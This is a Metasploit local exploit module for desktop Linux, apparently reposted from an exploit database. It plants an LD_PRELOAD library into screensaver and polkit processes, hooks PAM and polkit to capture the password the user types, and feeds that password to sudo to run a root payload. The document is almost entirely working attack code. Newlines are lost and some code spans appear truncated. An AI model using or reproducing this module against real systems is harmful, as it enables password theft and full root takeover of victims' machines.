## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' require 'msf/core/exploit/exe' require 'base64' require 'metasm' class Metasploit4 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Post::File def initialize(info={}) super( update_info( info, { 'Name' => 'Desktop Linux Password Stealer and Privilege Escalation', 'Description' => %q{ This module steals the user password of an administrative user on a desktop Linux system when it is entered for unlocking the screen or for doing administrative actions using policykit. Then it escalates to root privileges using sudo and the stolen user password. It exploits the design weakness that there is no trusted channell for transferring the password from the keyboard to the actual password verificatition against the shadow file (which is running as root since /etc/shadow is only readable to the root user). Both screensavers (xscreensaver/gnome-screensaver) and policykit use a component running under the current user account to query for the password and then pass it to a setuid-root binary to do the password verification. Therefore it is possible to inject a password stealer after compromising the user account. Since sudo requires only the user password (and not the root password of the system), stealing the user password of an administrative user directly allows escalating to root privileges. Please note that you have to start a handler as a background job before running this exploit since the exploit will only create a shell when the user actually enters the password (which may be hours after launching the exploit). Using exploit/multi/handler with the option ExitOnSession set to false should do the job. }, 'License' => MSF_LICENSE, 'Author' => ['Jakob Lell'], 'DisclosureDate' => 'Aug 7 2014', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X86_64], 'SessionTypes' => ['shell', 'meterpreter'], 'Targets' => [ ['Linux x86', {'Arch' => ARCH_X86}], ['Linux x86_64', {'Arch' => ARCH_X86_64}] ], 'DefaultOptions' => { 'PrependSetresuid' => true, 'PrependFork' => true, 'DisablePayloadHandler' => true }, 'DefaultTarget' => 0, } )) register_options([ OptString.new('WritableDir', [true, 'A directory for storing temporary files on the target system', '/tmp']), ], self.class) end def check check_command = 'if which perl && ' check_command << 'which sudo && ' check_command << 'id|grep -E \'sudo|adm\' && ' check_command << 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1;' check_command << 'then echo OK;' check_command << 'fi' output = cmd_exec(check_command).gsub("\r", '') vprint_status(output) if output['OK'] == 'OK' return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def exploit # Cannot use generic/shell_reverse_tcp inside an elf # Checking before proceeds pl = generate_payload_exe if pl.blank? fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Failed to store payload inside executable, please select a native payload") end exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.elf" print_status("Writing payload executable to '#{exe_file}'") write_file(exe_file, pl) cmd_exec("chmod +x #{exe_file}") cpu = nil if target['Arch'] == ARCH_X86 cpu = Metasm::Ia32.new elsif target['Arch'] == ARCH_X86_64 cpu = Metasm::X86_64.new end lib_data = Metasm::ELF.compile_c(cpu, c_code(exe_file)).encode_string(:lib) lib_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.so" print_status("Writing lib file to '#{lib_file}'") write_file(lib_file,lib_data) print_status('Restarting processes (screensaver/policykit)') restart_commands = get_restart_commands restart_commands.each do |cmd| cmd['LD_PRELOAD_PLACEHOLDER'] = lib_file cmd_exec(cmd) end print_status('The exploit module has finished. However, getting a shell will probably take a while (until the user actually enters the password). Remember to keep a handler running.') end def get_restart_commands get_cmd_lines = 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1|' get_cmd_lines << 'perl -ne \'while(/(\d+)/g){$pid=$1;next unless -r "/proc/$pid/environ";' get_cmd_lines << 'print"PID:$pid\nEXE:".readlink("/proc/$pid/exe")."\n";' get_cmd_lines << '$/=undef;' get_cmd_lines << 'for("cmdline","environ"){open F,"),"\n";}}\'' text_output = cmd_exec(get_cmd_lines).gsub("\r",'') vprint_status(text_output) lines = text_output.split("\n") restart_commands = [] i=0 while i < lines.length - 3 m = lines[i].match(/^PID:(\d+)/) if m pid = m[1] vprint_status("PID=#{pid}") print_status("Found process: " + lines[i+1]) exe = lines[i+1].match(/^EXE:(\S+)$/)[1] vprint_status("exe=#{exe}") cmdline = [lines[i+2].match(/^cmdline:(\w+)$/)[1]].pack('H*').split("\x00") vprint_status("CMDLINE=" + cmdline.join(' XXX ')) env = lines[i+3].match(/^environ:(\w+)$/)[1] restart_command = 'perl -e \'use POSIX setsid;open STDIN,"/dev/null";open STDERR,">/dev/null";exit if fork;setsid();' restart_command << 'kill(9,' + pid + ')||exit;%ENV=();for(split("\0",pack("H*","' + env + '"))){/([^=]+)=(.*)/;$ENV{$1}=$2}' restart_command << '$ENV{"LD_PRELOAD"}="LD_PRELOAD_PLACEHOLDER";exec {"' + exe + '"} ' + cmdline.map{|x| '"' + x + '"'}.join(", ") + '\'' vprint_status("RESTART: #{restart_command}") restart_commands.push(restart_command) end i+=1 end restart_commands end def c_code(exe_file) c = %Q| // A few constants/function definitions/structs copied from header files #define RTLD_NEXT ((void *) -1l) extern uintptr_t dlsym(uintptr_t, char*); // Define some structs to void so that we can ignore all dependencies from these structs #define FILE void #define pam_handle_t void extern FILE *popen(const char *command, const char *type); extern int pclose(FILE *stream); extern int fprintf(FILE *stream, const char *format, ...); extern char *strstr(const char *haystack, const char *needle); extern void *malloc(unsigned int size); struct pam_message { int msg_style; const char *msg; }; struct pam_response { char *resp; int resp_retcode; }; struct pam_conv { int (*conv)(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr); void *appdata_ptr; }; void run_sudo(char* password) { FILE* sudo = popen("sudo -S #{exe_file}", "w"); fprintf(sudo,"%s\\n",password); pclose(sudo); } int my_conv(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr) { struct pam_conv *orig_pam_conversation = (struct pam_conv *)appdata_ptr; int i; int passwd_index = -1; for(i=0;imsg,"Password") >= 0){ passwd_index = i; } } int result = orig_pam_conversation->conv(num_msg, msg, resp, orig_pam_conversation->appdata_ptr); if(passwd_index >= 0){ run_sudo(resp[passwd_index]->resp); } return result; } int pam_start(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh) __attribute__((export)) { static int (*orig_pam_start)(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh); if(!orig_pam_start){ orig_pam_start = dlsym(RTLD_NEXT,"pam_start"); } struct pam_conv *my_pam_conversation = malloc(sizeof(struct pam_conv)); my_pam_conversation->conv = &my_conv; my_pam_conversation->appdata_ptr = (struct pam_conv *)pam_conversation; return orig_pam_start(service_name, user, my_pam_conversation, pamh); } void polkit_agent_session_response (void *session, char *response) __attribute__((export)) { static void *(*orig_polkit_agent_session_response)(void *session, char* response); if(!orig_polkit_agent_session_response){ orig_polkit_agent_session_response = dlsym(RTLD_NEXT,"polkit_agent_session_response"); } run_sudo(response); orig_polkit_agent_session_response(session, response); return; } | c end end # Iranian Exploit DataBase = http://IeDb.Ir [2014-12-30]